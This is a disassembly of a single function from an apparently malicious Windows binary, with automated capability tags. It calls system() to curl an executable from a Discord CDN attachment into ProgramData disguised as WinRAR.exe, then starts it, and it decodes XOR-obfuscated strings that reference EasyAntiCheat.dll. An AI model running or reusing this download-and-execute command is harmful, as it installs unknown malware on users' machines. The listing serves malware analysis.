Function at 0x140004b20
Capabilities:
Authenticate hmac
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
lea rcx, str.curl__s__o__ProgramData_WinRAR.exe__https:__cdn.discordapp.com_attachments_1201286590094376960_1206280009267028019_Win.exe_ex65db6ecdis65c8f9cdhm4a85df3e1b071406da045d0ad935e6d202f186a738e9f158a37e97c266473aee_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start__ProgramData_WinRAR.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call fcn.1400052ec
mov ecx, 0x46
mov qword [rbp + 0x67], rax
xor edx, edx
mov r9, rax
call fcn.140001660
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x31], ax
lea edx, [rcx - 0x6e]
call fcn.140001660
lea ecx, [rdx + 0x71]
mov word [rbp - 0x2f], ax
lea edx, [rcx - 0x70]
call fcn.140001660
lea ecx, [rdx + 0x72]
mov word [rbp - 0x2d], ax
lea edx, [rcx - 0x71]
call fcn.140001660
lea ecx, [rdx + 0x6b]
mov word [rbp - 0x2b], ax
lea edx, [rcx - 0x6a]
call fcn.140001660
lea ecx, [rdx + 0x65]
mov word [rbp - 0x29], ax
lea edx, [rcx - 0x64]
call fcn.140001660
lea ecx, [rdx + 0x6f]
mov word [rbp - 0x27], ax
lea edx, [rcx - 0x6e]
call fcn.140001660
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x25], ax
lea edx, [rcx - 0x5e]
movzx r8d, ax
call fcn.140001660
lea ecx, [rdx + 0x3c]
mov word [rbp - 0x23], ax
lea edx, [rcx - 0x3b]
call fcn.140001660
lea ecx, [rdx + 0x64]
mov word [rbp - 0x21], ax
lea edx, [rcx - 0x63]
movzx r10d, ax
call fcn.140001660
lea ecx, [rdx + 0x60]
mov word [rbp - 0x1f], ax
lea edx, [rcx - 0x5f]
call fcn.140001660
lea ecx, [rdx + 0x5b]
mov word [rbp - 0x1d], ax
lea edx, [rcx - 0x5a]
call fcn.140001660
lea ecx, [rdx + 0x63]
mov word [rbp - 0x1b], ax
lea edx, [rcx - 0x62]
call fcn.140001660
lea ecx, [rdx + 0x68]
mov word [rbp - 0x19], ax
lea edx, [rcx - 0x67]
call fcn.140001660
lea ecx, [rdx + 0x20]
mov word [rbp - 0x17], ax
lea edx, [rcx - 0x1f]
call fcn.140001660
lea ecx, [rdx + 0x49]
mov word [rbp - 0x15], ax
lea edx, [rcx - 0x48]
call fcn.140001660
lea ecx, [rdx + 0x5a]
mov word [rbp - 0x13], ax
lea edx, [rcx - 0x59]
call fcn.140001660
mov word [rbp - 0x11], ax
lea ecx, [rdx + 0x5e]
lea edx, [rcx - 0x5d]
call fcn.140001660
lea ecx, [rdx + 0x25]
mov word [rbp - 0xf], ax
lea edx, [rcx - 0x24]
call fcn.140001660
lea ecx, [rdx + 0x22]
mov word [rbp - 0xd], ax
lea edx, [rcx - 0x21]
call fcn.140001660
lea ecx, [rdx + 0x1a]
mov word [rbp - 0xb], ax
lea edx, [rcx - 0x19]
call fcn.140001660
lea ecx, [rdx + 0x3f]
mov word [rbp - 9], ax
lea edx, [rcx - 0x3e]
call fcn.140001660
lea ecx, [rdx + 0x53]
mov word [rbp - 7], ax
lea edx, [rcx - 0x52]
call fcn.140001660
lea ecx, [rdx + 0x53]
mov word [rbp - 5], ax
lea edx, [rcx - 0x52]
call fcn.140001660
lea ecx, [rdx + 0x59]
mov word [rbp - 3], ax
lea edx, [rcx - 0x58]
call fcn.140001660
lea edx, [rcx - 0x57]
mov word [rbp - 1], ax
call fcn.140001660
lea ecx, [rdx + 0x50]
mov word [rbp + 1], ax
lea edx, [rcx - 0x4f]
call fcn.140001660
lea ecx, [rdx + 0x54]
mov word [rbp + 3], ax
lea edx, [rcx - 0x53]
call fcn.140001660
lea ecx, [rdx + 0x4c]
mov word [rbp + 5], ax
lea edx, [rcx - 0x4b]
call fcn.140001660
lea ecx, [rdx + 0x12]
mov word [rbp + 7], ax
lea edx, [rcx - 0x11]
call fcn.140001660
lea ecx, [rdx + 0x48]
mov word [rbp + 9], ax
lea edx, [rcx - 0x47]
call fcn.140001660
lea ecx, [rdx + 0x5a]
mov word [rbp + 0xb], ax
lea edx, [rcx - 0x59]
call fcn.140001660
lea ecx, [rdx + 0x46]
mov word [rbp + 0xd], ax
lea edx, [rcx - 0x45]
call fcn.140001660
xor ecx, ecx
mov word [rbp + 0xf], ax
lea edx, [rcx + 0x21]
call fcn.140001660
lea edx, [rcx + 0x22]
mov word [rbp + 0x11], ax
movzx ecx, word [0x1400074f4]
call fcn.140001660
movzx ecx, word [0x1400074f6]
mov edx, 0x23
mov word [rbp + 0x13], ax
call fcn.140001660
movzx ecx, word [str.EasyAntiCheat.dll]
mov edx, 0x24
mov word [rbp + 0x15], ax
call fcn.140001660
movzx ecx, word [0x1400074fa]
mov edx, 0x25
mov word [rbp + 0x17], ax
call fcn.140001660
movzx ecx, word [0x1400074fc]
mov edx, 0x26
mov word [rbp + 0x19], ax
call fcn.140001660
movzx ecx, word [0x1400074fe]
mov edx, 0x27
mov word [rbp + 0x1b], ax
call fcn.140001660
movzx ecx, word [0x140007500]
mov edx, 0x28
mov word [rbp + 0x1d], ax
call fcn.140001660
movzx ecx, word [0x140007502]
mov edx, 0x29
mov word [rbp + 0x1f], ax
call fcn.140001660
movzx ecx, word [0x140007504]
mov edx, 0x2a
mov word [rbp + 0x21], ax
call fcn.140001660
movzx ecx, word [0x140007506]
mov edx, 0x2b
mov word [rbp + 0x23], ax
call fcn.140001660
movzx ecx, word [0x140007508]
mov edx, 0x2c
mov word [rbp + 0x25], ax
call fcn.140001660
movzx ecx, word [0x14000750a]
mov edx, 0x2d
mov word [rbp + 0x27], ax
call fcn.140001660
movzx ecx, word [0x14000750c]
mov edx, 0x2e
mov word [rbp + 0x29], ax
call fcn.140001660
movzx ecx, word [0x14000750e]
mov edx, 0x2f
mov word [rbp + 0x2b], ax
call fcn.140001660
movzx ecx, word [0x140007510]
mov edx, 0x30
mov word [rbp + 0x2d], ax
call fcn.140001660
movzx ecx, word [0x140007512]
mov edx, 0x31
mov word [rbp + 0x2f], ax
call fcn.140001660
movzx ecx, word [0x140007514]
mov edx, 0x32
mov word [rbp + 0x31], ax
call fcn.140001660
movzx ecx, word [0x140007516]
mov edx, 0x33
mov word [rbp + 0x33], ax
call fcn.140001660
movzx ecx, word [0x140007518]
mov edx, 0x34
mov word [rbp + 0x35], ax
call fcn.140001660
movzx ecx, word [0x14000751a]
mov edx, 0x35
mov word [rbp + 0x37], ax
call fcn.140001660
movzx ecx, word [0x14000751c]
mov edx, 0x36
mov word [rbp + 0x39], ax
call fcn.140001660
movzx ecx, word [0x14000751e]
mov edx, 0x37
mov word [rbp + 0x3b], ax
call fcn.140001660
movzx ecx, word [str.curl__s__o__ProgramData_WinRAR.exe__https:__cdn.discordapp.com_attachments_1201286590094376960_1206280009267028019_Win.exe_ex65db6ecdis65c8f9cdhm4a85df3e1b071406da045d0ad935e6d202f186a738e9f158a37e97c266473aee_]
mov edx, 0x38
mov word [rbp + 0x3d], ax
call fcn.140001660
movzx ecx, word [0x140007522]
mov edx, 0x39
mov word [rbp + 0x3f], ax
call fcn.140001660
mov word [rbp + 0x41], ax
movzx ecx, word [0x140007524]
mov edx, 0x3a
call fcn.140001660
movzx ecx, word [0x140007526]
mov edx, 0x3b
mov word [rbp + 0x43], ax
call fcn.140001660
movzx ecx, word [0x140007528]
mov edx, 0x3c
mov word [rbp + 0x45], ax
call fcn.140001660
movzx ecx, word [0x14000752a]
mov edx, 0x3d
mov word [rbp + 0x47], ax
call fcn.140001660
movzx ecx, word [0x14000752c]
mov edx, 0x3e
mov word [rbp + 0x49], ax
call fcn.140001660
movzx ecx, word [0x14000752e]
mov edx, 0x3f
mov word [rbp + 0x4b], ax
call fcn.140001660
movzx ecx, word [0x140007530]
mov edx, 0x40
mov word [rbp + 0x4d], ax
call fcn.140001660
movzx ecx, word [0x140007532]
mov edx, 0x41
mov word [rbp + 0x4f], ax
call fcn.140001660
movzx ecx, word [0x140007534]
mov edx, 0x42
mov word [rbp + 0x51], ax
call fcn.140001660
mov word [rbp + 0x53], ax
mov r11d, 0x133
xor eax, eax
xor ebx, ebx
mov word [rbp + 0x55], ax
mov ecx, ebx
mov edx, ebx
lea eax, [r11 + rcx]
inc ecx
xor word [rbp + rdx*2 - 0x31], ax
movsxd rdx, ecx
cmp rdx, 0x43
jb 0x140005030
mov ecx, 0x45
mov word [rbp + 0x55], bx
xor edx, edx
call fcn.140001660
lea ecx, [rdx + 0x61]
mov word [rbp - 0x79], ax
lea edx, [rcx - 0x60]
call fcn.140001660
lea ecx, [rdx + 0x72]
mov word [rbp - 0x77], ax
lea edx, [rcx - 0x71]
call fcn.140001660
lea ecx, [rdx + 0x77]
mov word [rbp - 0x75], ax
lea edx, [rcx - 0x76]
call fcn.140001660
lea ecx, [rdx + 0x3e]
mov word [rbp - 0x73], ax
lea edx, [rcx - 0x3d]
call fcn.140001660
lea ecx, [rdx + 0x6a]
mov word [rbp - 0x71], ax
lea edx, [rcx - 0x69]
call fcn.140001660
lea ecx, [rdx + 0x64]
mov word [rbp - 0x6f], ax
lea edx, [rcx - 0x62]
mov word [rbp - 0x6d], r8w
call fcn.140001660
lea ecx, [rdx + 0x61]
mov word [rbp - 0x6b], ax
lea edx, [rcx - 0x5f]
mov word [rbp - 0x69], r10w
call fcn.140001660
lea ecx, [rdx + 0x5c]
mov word [rbp - 0x67], ax
lea edx, [rcx - 0x5b]
call fcn.140001660
lea ecx, [rdx + 0x57]
mov word [rbp - 0x65], ax
lea edx, [rcx - 0x56]
call fcn.140001660
lea ecx, [rdx + 0x69]
mov word [rbp - 0x63], ax
lea edx, [rcx - 0x68]
call fcn.140001660
lea ecx, [rdx + 0x22]
mov word [rbp - 0x61], ax
lea edx, [rcx - 0x21]
call fcn.140001660
lea ecx, [rdx + 0x57]
mov word [rbp - 0x5f], ax
lea edx, [rcx - 0x56]
call fcn.140001660
lea ecx, [rdx + 0x5e]
mov word [rbp - 0x5d], ax
lea edx, [rcx - 0x5d]
call fcn.140001660
lea edx, [rcx - 0x5c]
mov word [rbp - 0x5b], ax
call fcn.140001660
xor ecx, ecx
mov word [rbp - 0x59], ax
lea edx, [rcx + 0x11]
call fcn.140001660
lea edx, [rcx + 0x12]
mov word [rbp - 0x57], ax
movzx ecx, word [0x14000751c]
call fcn.140001660
movzx ecx, word [0x14000751e]
mov edx, 0x13
mov word [rbp - 0x55], ax
call fcn.140001660
movzx ecx, word [str.curl__s__o__ProgramData_WinRAR.exe__https:__cdn.discordapp.com_attachments_1201286590094376960_1206280009267028019_Win.exe_ex65db6ecdis65c8f9cdhm4a85df3e1b071406da045d0ad935e6d202f186a738e9f158a37e97c266473aee_]
mov edx, 0x14
mov word [rbp - 0x53], ax
call fcn.140001660
movzx ecx, word [0x140007522]
mov edx, 0x15
mov word [rbp - 0x51], ax
call fcn.140001660
movzx ecx, word [0x140007524]
mov edx, 0x16
mov word [rbp - 0x4f], ax
call fcn.140001660
movzx ecx, word [0x140007526]
mov edx, 0x17
mov word [rbp - 0x4d], ax
call fcn.140001660
movzx ecx, word [0x140007528]
mov edx, 0x18
mov word [rbp - 0x4b], ax
call fcn.140001660
movzx ecx, word [0x14000752a]
mov edx, 0x19
mov word [rbp - 0x49], ax
call fcn.140001660
movzx ecx, word [0x14000752c]
mov edx, 0x1a
mov word [rbp - 0x47], ax
call fcn.140001660
movzx ecx, word [0x14000752e]
mov edx, 0x1b
mov word [rbp - 0x45], ax
call fcn.140001660
movzx ecx, word [0x140007530]
mov edx, 0x1c
mov word [rbp - 0x43], ax
call fcn.140001660
movzx ecx, word [0x140007532]
mov edx, 0x1d
mov word [rbp - 0x41], ax
call fcn.140001660
movzx ecx, word [0x140007534]
mov edx, 0x1e
mov word [rbp - 0x3f], ax
call fcn.140001660
movzx ecx, word [0x140007536]
mov edx, 0x1f
mov word [rbp - 0x3d], ax
call fcn.140001660
movzx ecx, word [0x140007538]
mov edx, 0x20
mov word [rbp - 0x3b], ax
call fcn.140001660
movzx ecx, word [0x14000753a]
mov edx, 0x21
mov word [rbp - 0x39], ax
call fcn.140001660
movzx ecx, word [0x14000753c]
mov edx, 0x22
mov word [rbp - 0x37], ax
call fcn.140001660
mov word [rbp - 0x35], ax
mov rdx, rbx
xor eax, eax
mov word [rbp - 0x33], ax
nop dword [rax + rax]
lea ecx, [r11 + rax]
inc eax
xor word [rbp + rdx*2 - 0x79], cx
movsxd rdx, eax
cmp rdx, 0x23
jb 0x1400052b0
lea r8, [rbp - 0x31]
mov word [rbp - 0x33], bx
lea rdx, [rbp - 0x79]
mov rcx, r9
call fcn.140002550
mov rbx, qword [rsp + 0x108]
xor eax, eax
add rsp, 0xf0
pop rbp
ret